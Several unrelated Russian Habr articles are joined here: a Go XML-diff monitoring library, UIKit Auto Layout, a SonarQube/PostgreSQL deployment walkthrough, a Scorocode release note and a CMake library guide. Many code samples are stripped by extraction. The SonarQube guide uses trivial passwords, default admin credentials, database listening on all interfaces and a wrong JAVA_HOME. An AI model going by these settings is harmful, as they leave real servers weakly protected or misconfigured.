Ссылка на проект в Github: [github.com/princeparadoxes/AnimationVsAnimator](https://github.com/princeparadoxes/AnimationVsAnimator) | https://habr.com/ru/post/274135/ | null | ru | null |
# Мониторинг динамических XML-документов
На работе в рамках проектирования новой системы интеграции устройств для мониторинга аудио/видео потоков возникла задача отслеживания, накопления и последующего анализа изменений их состояния. Состояние выдаётся через зоопарк динамических XML-документов, используемых, в основном, для наполнения legacy web-UI.
Для упрощения интеграции мною была предложена идея создания обобщённой библиотеки для сохранения структурированных diff-ов для (почти) произвольного XML. Поскольку эти diff-ы будут сохраняться с учётом структуры документа, это дало бы возможность очень экономно аккумулировать изменения состояния устройств, а также в будущем генерировать отчёты с аналитикой, диаграммами, и т.п. После недели запойного программирования я набросал работающий proof-of-concept, которым и хочу поделиться в данной статье.
#### Создание схемы документа
Библиотека использует XSD в качестве источника информации о структуре документа. Получить XSD очень просто: есть много online-сервисов, позволяющих по XML сгенерировать некоторый валидирующий его XSD. Для большинства случаев этого будет достаточно.
Далее требуется слегка модифицировать полученную XSD-схему. Для каждого элемента исходного XML-документа, предполагающего множественные вхождения, требуется добавить атрибут `monId` в соответствующий XSD `element`. Его значением будет имя атрибута, однозначно идентифицирующего повторяющийся элемент. Например, мы собираемся мониторить документы следующего вида:
```
value3
value5
value7
value10
value12
```
По структуре документа понятно, что как минимум следующие элементы имеют множественное вхождение:
* /element1/element2
* /element1/element2/element3/element4
Поэтому в соответствующие XSD `elements` должны быть добавлены `monId` с именами идентифицирующих атрибутов:
> …
>
> monId=«attr1»>
>
> …
>
> monId=«attr2»>
>
> …
>
>
#### Как это работает
Итак, библиотека парсит XSD (на самом деле, пока поддерживается только его ограниченное подмножество, достаточное для переваривания большинства автоматически сгенерированных схем), и на его основе создаёт таблицы, соотвествующие элементам исходного документа.
После создания внутреннего представления схемы документа каждому его элементу будет соответствовать таблица в базе данных. Любое изменение элемента приведёт к добавлению новой записи в такой таблице. Т.е. каждая запись означает некоторое событие (добавление, изменение, удаление, snapshot). Другими словами, для извлечения версии документа, соответствующей заданной временной метке, библиотека сканирует все события, соответствующие данному элементу, и реконструирует его состояние.
Поскольку событий может быть множество, такая реконструкция будет требовать всё больше и больше времени. Вот почему для каждого документа периодически требуется сохранять снимок его текущего состояния (snapshot). Таким образом, реконструкция элементов будет производиться не с начала существования документа, а с ближайшего snapshot-а для указанной временной метки.
#### Использование
[Библиотека](https://github.com/ababo/xmlmon) написана на golang и хранит документы в PostgreSQL. В качестве драйвера базы данных используется [libpq](https://github.com/lib/pq). В текущем состоянии библиотека умеет только сохранять и реконструировать XML-документы (для произвольной временной метки).
**Пример использования**
```
package main
import (
"btc/data"
"btc/mon"
"btc/xmls"
"database/sql"
"log"
"os"
"time"
)
func install(db *sql.DB) {
var err error
if err = mon.Install(db); err != nil {
log.Fatalf("failed to install data monitor: %s", err)
}
var root *xmls.Element
root, err = xmls.FromFile("tmp/etr.xsd")
if err != nil {
log.Fatalf("failed to create xml schema: %s", err)
}
schema := mon.NewSchema("etr", "probe ETR-290 checks")
if err = mon.AddSchema(db, schema, root); err != nil {
log.Fatalf("failed to install schema: %s", err)
}
doc := mon.NewDoc("hw4_172_etr", "etr",
"http://10.0.30.172/probe/etrdata?inputId=0&tuningSetupId=1",
60, 86400)
if err = mon.AddDoc(db, doc); err != nil {
log.Fatalf("failed to add document: %s", err)
}
}
func commit(db *sql.DB) {
file, err := os.Open("tmp/etr.xml")
if err != nil {
log.Fatalf("failed to open xml doc: %s", err)
}
defer file.Close()
if err = mon.CommitDoc(db, "hw4_172_etr", file, false); err != nil {
log.Fatalf("failed to commit doc: %s", err)
}
}
func checkout(db *sql.DB) {
timestamp, err := time.Parse(
time.RFC3339, "2015-12-25T18:26:58+01:00")
if err != nil {
log.Fatalf("failed to parse timestamp: %s", err)
}
if err := mon.CheckoutDoc(
db, "hw4_172_etr", timestamp,
os.Stdout, " ", " "); err != nil {
log.Fatalf("failed to checkout doc: %s", err)
}
}
func main() {
config, err := NewConfig("config.json")
if err != nil {
log.Fatalf("failed to load config: %s", err)
}
var db *sql.DB
db, err = data.Open(config.DbConnStr)
if err != nil {
log.Fatalf("failed to establish db connection: %s", err)
}
defer db.Close()
//install(db)
//commit(db)
checkout(db)
}
``` | https://habr.com/ru/post/274131/ | null | ru | null |
# Auto Layout настройка кодом
В iOS-разработке выравнивание контента и интервалы — это то, на что может уйти много времени. Давайте рассмотрим, как устанавливать ограничения с помощью UIKit, обновлять их и разрешать конфликты ограничений.
Ограничение(constraint) - это правило, позволяющее операционной системе размещать ваш компонент пользовательского интерфейса. В UIKit есть 2 основных способа установки ограничений: StoryBoard и кодом. В данной статье рассмотрим только подход кодом.
Создание нового ограничения
---------------------------
Первое, что нам нужно сделать, это отключить AutoresizingMask, который по умолчанию включён.
Активация
---------
После создания нам нужно активировать наши ограничения. Для этого вы можете либо переключить ограничение на **isActive**, по одному, либо использовать.**activate()** функцию для одновременного обновления пакета ограничений.
Вы так же можете деактивировать их таким же образом.
Управление ограничениями
------------------------
Ограничения можно обновлять после применения. Например, для изменения интервала или размера
Также можем анимировать view с помощью ограничений. Главное обязательно вызвать layoutIfNeeded()
Разрешение конфликтов ограничений
---------------------------------
Теперь, когда мы изучили основы добавления, редактирования и активации ограничений, возникает проблема: разрешение конфликтующих ограничений.
В большинстве случаев Xcode укажет в консоли, что не может разрешить ограничения в консоли. При открытии *Debug View Hierarchy* мы можем проверить каждое ограничение и определить, откуда возникает конфликт.
Конфликты почти всегда возникают из-за приоритетных вопросов. Если я установлю для ограничения высоты значение, `100`а затем другое ограничение `50`, система не сможет сказать, какое из них применять.
Это создаст конфликт.
Чтобы обнаружить конфликт такого типа, мы можем установить Breakpoint с помощью **UIViewAlertForUnsatisfiableConstraints** для обнаружения неправильно настроенных ограничений
Как только мы определили, какие ограничения конфликтуют, мы можем изменить приоритет в пользу одного и уменьшить второе, максимальное значение которого равно 1000
Так же есть предопределенные значения, которые мы можем использовать повторно.
Intrinsic content size
----------------------
Вы задавались иногда вопросом почему для Label можно не указывать размер, а для view обязательно? Сейчас мы рассмотрим почему это так происходит
Возьмём и разместим на экране View и Label.
При размещении view xcode выдаст ошибку и не отобразит нашу view
При размещении Label на экране спокойно отобразиться наш элемент
Intrinsic content size - это размер контента у всех UI элементов (label, view, button и т. д.). Данное свойство определит какого размера должна быть view, чтобы разместить в ней контент. На табличке ниже мы можем рассмотреть Intrinsic content size для разных элементов UI
UIView и NSView - не имеют Intrinsic content size
Sliders - установлена только ширина, нужно задать высоту для слайдера
Labels, buttons, switches, и text fields - определена высота и ширина
Text views image views - Intrinsic content size может изменяться в зависимости от контента внутри (если не добавить контент, то тогда не будут определены размеры)
### Auto Layout и Constraint Resistance
Для некоторых UIView мы не всегда можем применить конкретные значения. Например, если у нас есть UIButton с `Tap`жестко заданным значением, при локализации текст может быть обрезан.
Чтобы справиться с этим, не требуя изменения приоритета, мы можем использовать другой набор функций, чтобы избежать такого поведения. Двумя из них являются *Content Hugging* и *Content Resistance*.
* *Content* **hugging** priority - приоритет сопротивления превышения intrinsic content size (не хочу чтобы была больше)
* *Content* ***compression***resistance priority - приоритет сопротивления занижения intrinsic content size (не хочу чтобы была меньше)
Вернемся UIButton. Вместо того чтобы устанавливать ограничение ширины, чтобы избежать обрезки, можно применить сопротивление избежав сжатия. Другой текст локализации расширит его.
### Safe area constraints
При поддержке нескольких устройств одной привязки может быть недостаточно. Например, если у вас есть status bar, navigation bar, как мы можем учитываем их размеры на разных устройствах?
К счастью, UIKit поставляется со свойством **safeAreaLayoutGuide** для адаптации safe area, чтобы мы могли сосредоточиться на view, а не на размеры расстояний между устройствами. Это позволяет нам иметь одинаковый интервал, например, для iPhone8 или iPhone13.
Пример c **safeAreaLayoutGuide**
### Вывод
В заключение, Auto Layout — *очень мощный API*. Это определенно упростило разработку: применение дизайна на нескольких устройствах и изменение размера до нужного размера.
С ограничением безопасной зоны и различными приоритетами становится проще адаптировать к новым устройствам, от iPhone 13 mini до iPad Pro.
Поскольку мы можем очень быстро создать множество ограничений, может быть трудно отслеживать их все, когда возникает конфликт. К счастью, Xcode поставляется с различными инструментами для отслеживания этого.
Установка ограничений программным путем упрощает поддержку и отладку, поскольку в разработке участвует много человек и работать со storyboard в большой команде будет крайне сложно. | https://habr.com/ru/post/690940/ | null | ru | null |
# Deploy SonarQube Server
Привет, хаброжители!
====================
В данном руководстве хочу изложить пошаговую настройку по развёртыванию платформы для непрерывного анализа и измерения качества кода. Подобных статей в сети достаточно много, но я хочу выделить лишь главное, чтобы все новички с первого раза смогли с ней разобраться. Ставить будем `SonarQube 7.9` с `PostgreSQL 10`.
### Вы уже изучили вики, не так ли?
### И прежде чем начнём
Хочу, чтобы вы определились, какую версию вам внедрять, ведь с каждым обновлением всё больше и больше плагинов становятся платными, что, естественно, скажется на финансовых затратах или функционале.
В общем — перейдите по этой ссылке и убедитесь сами: [plugin version matrix](https://docs.sonarqube.org/latest/instance-administration/plugin-version-matrix/).
Согласно документации: **сервер и базу данных рекомендуется держать на разных машинках**. Но в песочнице можно потренировать и на одной.
**Если у вас Ubuntu и 2 сервера**
Если вы решили пойти по пути рекомендаций и чтобы не возиться с созданием двух виртуальных машин создали одну — изменить имя и ip второго сервера вы сможете легко и просто с помощью этих команд:
::: change hostname :::
```
$ hostnamectl set-hostname sonarapp
sudo nano /etc/hostname
sudo nano /etc/hosts
```
::: change ip ubuntu :::
```
sudo nano /etc/netplan/01-eth0.yaml
```
Там найдите знакомые строчки и поменяйте параметры имени машинки и IP адреса.
**И что должно получиться**:
Sonar app server [SonarApp]: 8 cores, 16GB of RAM, 20Gb + 50Gb (/opt) disk space
| user | password | IP | Platform |
| --- | --- | --- | --- |
| admin | pass123 | 192.168.0.15 | Ubuntu Linux |
Sonar database [SonarDB]: 8 cores, 16GB of RAM, 20Gb + 50Gb (/opt) disk space
| user | password | IP | Platform |
| --- | --- | --- | --- |
| admin | pass123 | 192.168.0.16 | Debian Linux |
1. Предлагаю начать с базы данных
---------------------------------
Логинимся под нашим добрым admin'ом на 192.168.0.16 (SonarDB). Очень важно, чтобы **НЕ** под root'ом.
Убедимся, установлен ли PostgreSQL в системе. Есть много вариантов, но попробуем самый простой:
```
$ which psql
$ psql -V
$ find / -name 'postgres'
```
посмотреть, какие пакеты загружены в систему:
```
$ dpkg -l | grep postgres
```
Если ничего не нашлось, то проверим, есть ли в репозиториях версия PostgreSQL 10:
```
$ sudo apt-cache search postgresql-10
```
Официальная документация по установке PostgreSQL: [link](https://wiki.postgresql.org/wiki/Apt). Но а если по порядку:
```
$ wget -q https://www.postgresql.org/media/keys/ACCC4CF8.asc -O- | sudo apt-key add -
$ sudo sh -c 'echo "deb http://apt.postgresql.org/pub/repos/apt $(lsb_release -cs)-pgdg main" > /etc/apt/sources.list.d/postgresql.list'
$ sudo apt-get update
$ sudo apt-get install postgresql-10 pgadmin4
```
* у меня возникли проблемы с локалью, после добавления postgres в систему. Метод решения (решение в файле `/etc/default/locale`):
```
$ sudo locale-gen en_US.UTF-8
$ sudo localedef -i en_US -f UTF-8 en_US.UTF-8
$ export LANGUAGE=en_US.UTF-8
$ export LANG=en_US.UTF-8
$ export LC_ALL=en_US.UTF-8
$ sudo locale-gen en_US.UTF-8
$ sudo dpkg-reconfigure locales
```
Команда dpkg-reconfigure locales откроет диалоговое окно под Debian для выбора желаемой локали. Выбери `en_US.UTF-8`.
Запуск!
```
$ sudo systemctl start postgresql
$ sudo systemctl status postgresql
$ sudo nano /etc/postgresql/10/main/postgresql.conf
### CTRL + W ### -> listen_addresses = '*'
$ sudo systemctl restart postgresql
```
Проверим успешная ли установка:
```
$ sudo apt-get install -y net-tools
$ sudo netstat -antup | grep 5432
$ dpkg --get-selections |grep postgres
$ pg_lsclusters
```
Мои поздравления! Приступай. :)
```
sudo su -l postgres
psql
### CTRL + Z ### -> exit from psql
### exit ###
```
Change the password for the default PostgreSQL user
```
$ sudo passwd postgres
```
Switch to the postgres user.
```
$ su - postgres
```
Switch to the PostgreSQL shell.
```
$ psql
```
### Базовая конфигурация PostgreSQL
Set a password for the newly created user for SonarQube database.
```
CREATE ROLE sonar WITH PASSWORD 'sonar';
SELECT rolname FROM pg_roles;
alter role sonar login;
SELECT pg_reload_conf();
Create a new database for PostgreSQL database by running:
create database sonar owner sonar;
```
Exit from the psql shell:
```
'\q'
```
### Миграция базы данных PostgreSQL
Stop PostgreSQL service
```
$ service postgresql stop
# or
$ /usr/lib/postgresql/10/bin/pg_ctl stop -D /var/lib/postgresql/10/main
```
Change data directory.
```
$ psql
```
```
# show data_directory;
/var/lib/postgresql/10/main
```
```
$ sudo rsync -av /var/lib/postgresql /opt/sonardb
$ sudo mv /var/lib/postgresql/*/main /var/lib/postgresql/*/main.bak
$ sudo nano /etc/postgresql/*/main/postgresql.conf # change location for new data_directory.
data_directory = '/opt/sonardb/postgresql/10/main'
listen_addresses = '*'
```
Change check
```
$ sudo -u postgres psql
```
```
# show data_directory;
______________________
/opt/sonardb/postgresql/10/main
# \q
```
А также нужно проверить системные параметры. Их можно добавить в файл `/etc/sysctl.conf` (или `/etc/sysctl.d/99-sonarqube.conf`) или ввести в терминале :
```
sysctl -w vm.max_map_count=262144
sysctl -w fs.file-max=65536
ulimit -n 65536
ulimit -u 4096
```
2. А теперь займёмся сервером приложения SonarQube
--------------------------------------------------
Логинимся под нашим добрым admin'ом на 192.168.0.15 (SonarApp). Здесь также важно, чтобы **НЕ** под root'ом.
Те строчки, что начинаются с символа $ — это терминальный ввод, а остальные — уже что правим в файлах или что должны получить на выходе (вывод инфы)
**Для работы SonarQube необходима JAVA. Возьмём OpenJDK**
### Установка open-jdk11
```
$ sudo apt-get install openjdk-11-jdk
```
**change java PATH**
```
$ nano ~/.bash_profile
export JAVA_HOME=/usr/lib/jvm/java-11-openjdk-amd64/bin/java
export PATH=/usr/lib/jvm/java-11-openjdk-amd64/bin:$PATH
```
**Проверить, что JAVA успешно добавлена в систему**:
```
$ java -version
```
### Download and configure SonarQube
Download the SonarQube installer files archive.
```
$ wget https://binaries.sonarsource.com/Distribution/sonarqube/sonarqube-7.9.1.zip
```
Install unzip by running:
```
# apt-get -y install unzip
```
Unzip the archive using the following command
```
$ sudo unzip sonarqube-7.9.1.zip -d /opt
```
Rename the directory
```
$ sudo mv /opt/sonarqube-7.9.1 /opt/sonarqube
```
### Add Sonar User and Privileges
[Подробнее про "управление пользователями" в Unix](http://yapro.ru/web-master/unix/useradd.html).
Create a user named sonar and make it the owner of the `/opt/sonarqubedirectory`
```
$ sudo adduser sonar
$ sudo passwd sonar
$ sudo chown -R sonar:sonar /opt/sonarqube
```
get list users in the system:
```
$ cut -d: -f1 /etc/passwd
```
в каких группах находится ваш новый пользователь:
```
$ groups sonar
```
**Continuation configure SonarQube**
```
$ sudo nano /opt/sonarqube/conf/sonar.properties
```
```
sonar.jdbc.username=sonar
sonar.jdbc.password=sonar
sonar.web.host=192.168.0.15
# sonar.jdbc.url=jdbc:postgresql://localhost/username
sonar.jdbc.url=jdbc:postgresql://192.168.0.16/sonar
sonar.web.javaAdditionalOpts=-server
```
Create a file `/etc/systemd/system/sonarqube.service` and past the following content on to the file
```
[Unit]
Description=SonarQube service
After=syslog.target network.target
[Service]
Type=simple
User=sonar
Group=sonar
PermissionsStartOnly=true
ExecStart=/bin/nohup java -Xms32m -Xmx32m -Djava.net.preferIPv4Stack=true -jar /opt/sonarqube/lib/sonar-application-7.9.1.jar
StandardOutput=syslog
LimitNOFILE=65536
LimitNPROC=8192
TimeoutStartSec=5
Restart=always
[Install]
WantedBy=multi-user.target
```
Start and enable sonarqube
```
$ sudo systemctl start sonarqube
$ sudo systemctl enable sonarqube
```
To check if the service is running, run:
```
$ sudo systemctl status sonarqube
```
Log:
```
tail -f /opt/sonarqube/logs/sonar.log
```
---
Для проверки доступности базы данных подключимся к 192.168.0.15 и наберём:
```
$ psql -h 192.168.0.16 -p 5432 -U sonar
```
Вот и всё. Чтобы убедиться, что всё работает — переходим в браузер (убедитесь что 192.168.X.X сеть доступна из Вашей или воспользуйтесь links).
Наберём 192.168.0.15:9000 и Вас должно приветствовать окошко авторизации.
Стандарные первичные админские пользовательские данные SonarQube:
| user | password |
| --- | --- |
| admin | admin | | https://habr.com/ru/post/474140/ | null | ru | null |
# Предновогодний релиз API и портала Scorocode
Здравствуй, Хабр. С наступающим тебя! Как и обещали, к концу года обновили API и портал Scorocode.
Ключевые нововведения:
* (по многочисленным просьбам трудящихся) Открыли API по управлению приложением
* Реализовали фабрику ботов Telegram
* Обновили дизайн и функциональность портала
* Обновили документацию
И у нас **акция**!
Подробности под катом.
### **API по управлению приложением**
Расширили протокол API, включив в него почти все внутренние методы. Теперь, после создания приложения в личном кабинете, можно управлять через API коллекциями, полями, индексами, скриптами, триггерами. Это дает возможность нашим клиентам реализовать собственный backoffice для администрирования приложений.
Все новые методы по сложившейся традиции реализованы в виде POST запросов с JSON контентом, ответ от API приходит тоже в JSON.
#### Приложение
1. Получение приложения со всей структурой коллекций и настройками
#### Коллекции
1. Получение списка коллекций
2. Получение конкретной коллекции
3. Создание коллекции
4. Изменение коллекции
5. Удаление коллекции
6. Клонирование коллекции
#### Поля коллекции
1. Создание поля коллекции
2. Удаление поля коллекции
#### Индексы коллекции
1. Создание индекса по полям коллекции, в т.ч. составного
2. Удаление индекса коллекции
#### Серверные скрипты
1. Получение папок и скриптов приложения по пути
2. Создание новой папки
3. Удаление папки со всем содержимым
4. Получение скрипта
5. Создание нового скрипта
6. Изменение скрипта
7. Удаление скрипта
### **Боты Telegram**
Да, да. И мы туда же. Теперь мы умеем хостить ботов Telegram. Обработка событий от бота пишется в серверном скрипте, который привязывается к боту. Так как в серверных скриптах у нас есть полная поддержка npm, то простор для реализации разнообразных ботов безграничен.
Методы API работы с ботами:
1. Создание бота
2. Изменение бота
3. Удаление бота
### **Портал**
Портал стал двуязычным, добавился английский язык. Поводом стало то, что у нас появились иностранные пользователи, ну и планов по выходу на иностранные рынки — громадьё. Весь портал переписан на react+redux, что сделало его удобным и отзывчивым.
Приятные мелочи:
1. Работа с данными в таблицах стала удобнее и понятнее, особенно в части работы с полями типов Relation и Pointer
2. В серверных скриптах теперь можно запускать скрипт и видеть консольный вывод от него
Кстати, по п.2 много просьб было реализовать поле для ввода входного пула параметров скрипта для отладки. Мы решили не делать этого, чтобы не загромождать интерфейс. Вы всегда можете на время отладки «во первых строках» своего скрипта написать:
```
pool.myData = "some test input data"
```
### **Документация**
Перевели документацию на движок [mkdocs](http://www.mkdocs.org/). Добавились описания нового API. Подробнее о нововведениях в переработанной [документации](http://scorocode.github.io/scorocode-docs/).
### **Акция 1\*(fullPrice/10) == 3\*fullPrice**
А теперь самое приятное. Мы запускаем новогоднюю акцию до 31 декабря 2016 г. — переход на тариф Indie всего за 990 рублей за 3(!) месяца. Вот такая вот математика.
Тариф даёт доступ к маркетплейсу, увеличенное время выполнения серверного кода и количество запросов к API, больше PUSH-уведомлений и расширенное облачное хранилище.
Пополнить баланс можно в [личном кабинете](https://scorocode.ru/account/profile/balance) с любой карты. Оплатить тариф по акции можно в «Настройках» приложения на вкладке «Тарифный план».
### **Дополнительная плюшка**
Готов функционал по распознаванию текстов из изображений с использованием движка ABBYY, но пока не включен в продакшн для широких масс, то есть досутпен только в корпоративных проектах. Так как функция платная, около 2 руб. за страницу А4, то хотелось бы выслушать мнение уважаемого сообщества о востребованности данной функции. Если скажете, что нужно — включим. | https://habr.com/ru/post/317450/ | null | ru | null |
# Руководство по CMake для разработчиков C++ библиотек
В этой статье я расскажу о том, как правильно писать современные `CMakeLists.txt` файлы для C++ библиотек. Идеи, используемые в ней, основаны на [докладе](https://www.youtube.com/watch?v=m0DwB4OvDXk) Крейга Скотта (разработчик CMake) и [докладе](https://www.youtube.com/watch?v=_5weX5mx8hc) Роберта Шумахера (разработчик vcpkg) c CppCon 2019. Поскольку мне достаточно часто приходится разрабатывать С++ библиотеки, я создал для себя небольшой шаблон [cpp-lib-template](https://github.com/pananton/cpp-lib-template), который будет использоваться в этой статье в качестве примера.
Замечу, что я предполагаю, что читатель этой статьи имеет опыт работы с CMake, однако, как и я, часто задается вопросом, как *правильно* ему сделать сборку своей библиотеки.
Введение
--------
Разработчик C++ библиотеки, очевидно, должен дать своим пользователям возможность *легко* ее использовать. И раз уж мы пишем на компилируемом языке, то к этому относится и то, насколько быстро пользователь сможет пройти путь от клонирования ваших исходников до получения бинарного файла библиотеки под свою платформу.
Когда мы говорим о пользователях библиотеки, то в первую очередь думаем о других разработчиках, которые захотят использовать функциональность библиотеки в своих проектах. Существует два способа, которыми библиотека может интегрироваться в проект:
* С помощью `find_package` - в этом случае библиотека должна предоставить [package configuration file](https://cmake.org/cmake/help/latest/manual/cmake-packages.7.html?highlight=package%20config#package-configuration-file), который импортирует в `CMakeLists.txt` приложения таргет библиотеки. Этот файл, вместе с собранной библиотекой, ее публичными заголовочными файлами и некоторой другой информацией устанавливается в директорию, которая потом указывается в переменной `CMAKE_PREFIX_PATH` при сборке проекта.
* Как подпроект, добавленный в качестве git submodule или с помощью CMake модуля [FetchContent](https://cmake.org/cmake/help/latest/module/FetchContent.html) - в этом случае приложение использует обычный (не импортированный) таргет библиотеки (`find_package` не вызывается), и сборка библиотеки становится этапом сборки самого проекта.
Еще одна категория пользователей библиотеки - мейнтейнеры различных пакетных менеджеров (например, vcpkg, conan и другие), которым нужно собирать библиотеку под десятки различных платформ и конфигураций. Для них важно, чтобы сборкой библиотеки можно было управлять извне, без необходимости внесения патчей в ее CMakeLists.txt.
Исходя из вышесказанного, хорошо сделанная библиотека должна удовлетворять следующим требованиям:
* Единообразно интегрироваться и через `find_package`, и через `add_subdirectory`/`FetchContent`, т.е. импортированный таргет и обычный должны быть эквивалентны. В англоязычных источниках это требование часто формулируют как "build interface should match install interface".
* В ее `CMakeLists.txt` не должны хардкодиться опции и флаги компиляции/компоновки кроме тех, которые абсолютно необходимы для сборки библиотеки. В противном случае мейнтейнерам менеджеров пакетов будет проблематично упаковывать библиотеку, так как с вероятностью, стремящейся к 1, на какой-то из платформ некоторые захардкоденные значения окажутся невалидны и придется делать патч для `CMakeLists.txt`.
Структура директорий
--------------------
В своих библиотеках я придерживаюсь структуры директорий, представленной ниже. На мой взгляд, она является наиболее распространенной, кроме того, интуитивно разделяет файлы библиотеки на основные компоненты: публичные заголовки (`include/`), исходники (`src`), утилиты для сборки (`cmake`), примеры (`examples`) и тесты (`tests`).
```
repository root:
cmake/
examples/
include//
src/
tests/
CMakeLists.txt
CMakePresets.json
...
```
Пример библиотеки
-----------------
В дальнейшем в этой статье мы будем рассматривать простую библиотеку [mylib](https://github.com/pananton/cpp-lib-template), предоставляющую всего одну функцию `add`, которая возвращает результат сложения двух чисел:
```
#include
namespace mylib {
int add(int a, int b)
{
return a + b;
}
} // namespace mylib
```
Соответствующий заголовочный файл:
```
#pragma once
#include
namespace mylib {
MYLIB\_EXPORT int add(int a, int b);
}
```
Наконец, файл `mylib/export.h`:
```
#pragma once
#ifndef MYLIB_STATIC_DEFINE
# include
#else
# include
#endif
```
Файлы `export_shared.h` и `export_static.h` генерируются CMake и будут рассмотрены ниже.
Определение проекта
-------------------
Первое, что нужно сделать в `CMakeLists.txt` - это создать проект для библиотеки:
```
cmake_minimum_required(VERSION 3.14)
project(mylib
VERSION 1.0.0
DESCRIPTION "Template for C++ library built with CMake"
LANGUAGES CXX)
add_library(mylib) # initialized below
add_library(mylib::mylib ALIAS mylib)
string(COMPARE EQUAL "${CMAKE_SOURCE_DIR}" "${CMAKE_CURRENT_SOURCE_DIR}"
is_top_level)
```
Я предпочитаю заранее определить таргет для библиотеки, а инициализировать его ниже в коде, когда определены все необходимые параметры. Здесь же мы определим алиас для библиотеки, который должен иметь то же имя, что и импортируемый таргет. Это позволит пользователям библиотеки легко переключаться между ее подключением через `find_package`, в результате которого создается импортированный таргет с именем `mylib::mylib`, и подключением через `add_subdirectory`/`FetchContent`, который делает доступным алиас `mylib::mylib` в их проекте. Таким образом, приложение, использующее нашу библиотеку, в обоих случаях может линковаться к библиотеке с помощью команды:
```
target_link_libraries(app PRIVATE mylib::mylib)
```
Переменная `is_top_level` используется в дальнейшем в нескольких местах для определения, собирается ли библиотека как stand-alone проект или как подпроект. Версии CMake, начиная с 3.21, предоставляют переменную `PROJECT_IS_TOP_LEVEL` для этой же цели. Можно использовать и ее, но тогда в `cmake_minimum_required` придется указать версию не ниже 3.21.
Опции сборки
------------
Сразу после определения проекта для библиотеки я рекомендую указать все опции, которые вы предоставляете для управления ее сборкой. Эта информация важна для пользователей библиотеки и поэтому лучше размещать ее в самом начале в одном месте. Типичными опциями являются:
```
include(cmake/utils.cmake)
include(GNUInstallDirs)
# MYLIB_SHARED_LIBS determines static/shared build when defined
option(MYLIB_BUILD_TESTS "Build mylib tests" OFF)
option(MYLIB_BUILD_EXAMPLES "Build mylib examples" OFF)
option(MYLIB_INSTALL "Generate target for installing mylib" ${is_top_level})
set_if_undefined(MYLIB_INSTALL_CMAKEDIR
"${CMAKE_INSTALL_LIBDIR}/cmake/mylib-${PROJECT_VERSION}" CACHE STRING
"Install path for mylib package-related CMake files")
if(DEFINED MYLIB_SHARED_LIBS)
set(BUILD_SHARED_LIBS ${MYLIB_SHARED_LIBS})
endif()
```
Опции `MYLIB_BUILD_*` определяют, собирать или нет соответствующий компонент библиотеки. По умолчанию они выключены, потому что пользователи библиотеки, как правило, заинтересованы только в сборке самой библиотеки.
Если библиотека может быть собрана как статически, так и динамически, крайне **не рекомендуется** использовать кастомную переменную для определения типа сборки, потому что общепринятым стандартом является использование переменной `BUILD_SHARED_LIBS`, которая обрабатывается самим CMake. Следующий код является примером того, как делать не стоит:
```
if(SOMELIB_BUILD_AS_STATIC)
add_library(somelib STATIC)
else()
add_library(somelib SHARED)
endif()
```
`BUILD_SHARED_LIBS`, однако, влияет на все библиотеки, попадающие в сборку, а пользователям в редких случаях может понадобиться собрать несколько библиотек иначе, чем указано в `BUILD_SHARED_LIBS`. Поэтому среди опций библиотеки [mylib](https://github.com/pananton/cpp-lib-template) есть `MYLIB_SHARED_LIBS`, которая может использоваться для переопределения значения `BUILD_SHARED_LIBS`.
Переменная `MYLIB_INSTALL` определяет, нужно ли генерировать таргет для установки [mylib](https://github.com/pananton/cpp-lib-template). Ее значение по умолчанию определяется тем, собирается ли [mylib](https://github.com/pananton/cpp-lib-template) как отдельный проект, или как подпроект другого проекта.
Наконец, переменная `MYLIB_INSTALL_CMAKEDIR` позволяет указать, куда устанавливать файл конфигурации пакета (package configuration file), и предназначена в основном для мейнтейнеров менеджеров пакетов. Функция `set_if_undefined` определена в файле`cmake/utils.cmake` и аналогична `set`, но устанавливает значение только если переменная еще не определена (напомню, что мы не хотим переопределять любые переменные, которые установлены через командную строку CMake или в проектах верхнего уровня).
Экспорт символов
----------------
В бинарном файле любой динамической библиотеки есть раздел, в котором хранится информация о том, какие функции экспортируются данной библиотекой. Эта информация используется динамическим загрузчиком - компонентом ОС, который занимается тем, что загружает в память динамические библиотеки, нужные приложению. Помимо этого, задача динамического загрузчика заключается в том, чтобы выполнить *релокации* - заменить заглушки в исполняемом файле приложения на реальные адреса в памяти, куда была загружена динамическая библиотека.
В деталях описание этого процесса можно найти в статьях, ссылки на которые даны в конце поста. Сейчас же для нас важно знать, что от количества экспортируемых функций напрямую зависит, как быстро будут стартовать приложения, использующие вашу библиотеку (чем меньше экспортируемых функций, тем быстрее).
GCC и Clang по умолчанию экспортируют все символы, которые есть в библиотеке (в том числе те, что не являются частью API), что, как мы только что выяснили, негативно сказывается на скорости загрузки. CMake позволяет легко отключить это поведение, установив следующие переменные (замечу, что здесь я тоже использую функцию `set_if_undefined`, чтобы дать возможность пользователю при необходимости переопределить эти значения):
```
set_if_undefined(CMAKE_CXX_VISIBILITY_PRESET hidden)
set_if_undefined(CMAKE_VISIBILITY_INLINES_HIDDEN ON)
```
> MSVC по умолчанию ничего не экспортирует, однако CMake предоставляет переменную `CMAKE_WINDOWS_EXPORT_ALL_SYMBOLS`, которая позволяет получить поведение, аналогичное GCC и Clang. Очевидно, что использовать ее не стоит.
>
>
Для экспорта конкретного символа из библиотеки разные компиляторы предоставляют разные директивы. Чтобы не углубляться в особенности компиляторов, можно воспользоваться функцией CMake `generate_export_header`. Эта функция создает файл, содержащий определение макроса `MYLIB_EXPORT`, который нужно указывать для экспортируемых символов. Процесс генерации файла элементарен:
```
include(GenerateExportHeader)
set(export_file_name "export_shared.h")
if(NOT BUILD_SHARED_LIBS)
set(export_file_name "export_static.h")
endif()
generate_export_header(mylib EXPORT_FILE_NAME include/mylib/${export_file_name})
```
В результате в зависимости от типа сборки библиотеки CMake создаст в билд-директории один из двух файлов: `export_shared.h` или `export_static.h`.
Объясню, почему используются разные имена в зависимости от типа сборки. Это нужно, чтобы статическую и динамическую версию библиотеки при желании можно было установить в одну директорию. Для этого файлы должны иметь разные имена, чтобы не быть перезаписанными файлом для другого типа сборки. При этом выбор нужного можно сделать в отдельном файле (`mylib/export.h`, см. выше) с помощью идентификатора `MYLIB_STATIC_DEFINE`, который будет определяться только для статического таргета [mylib](https://github.com/pananton/cpp-lib-template).
Исходники библиотеки
--------------------
Исходники библиотеки инициализируются с помощью следующих команд:
```
set(public_headers
include/mylib/export.h
include/mylib/mylib.h)
set(sources
${public_headers}
src/mylib.cpp)
source_group(TREE "${CMAKE_CURRENT_SOURCE_DIR}" FILES ${sources})
list(APPEND public_headers
"${CMAKE_CURRENT_BINARY_DIR}/include/mylib/${export_file_name}")
list(APPEND sources
"${CMAKE_CURRENT_BINARY_DIR}/include/mylib/${export_file_name}")
```
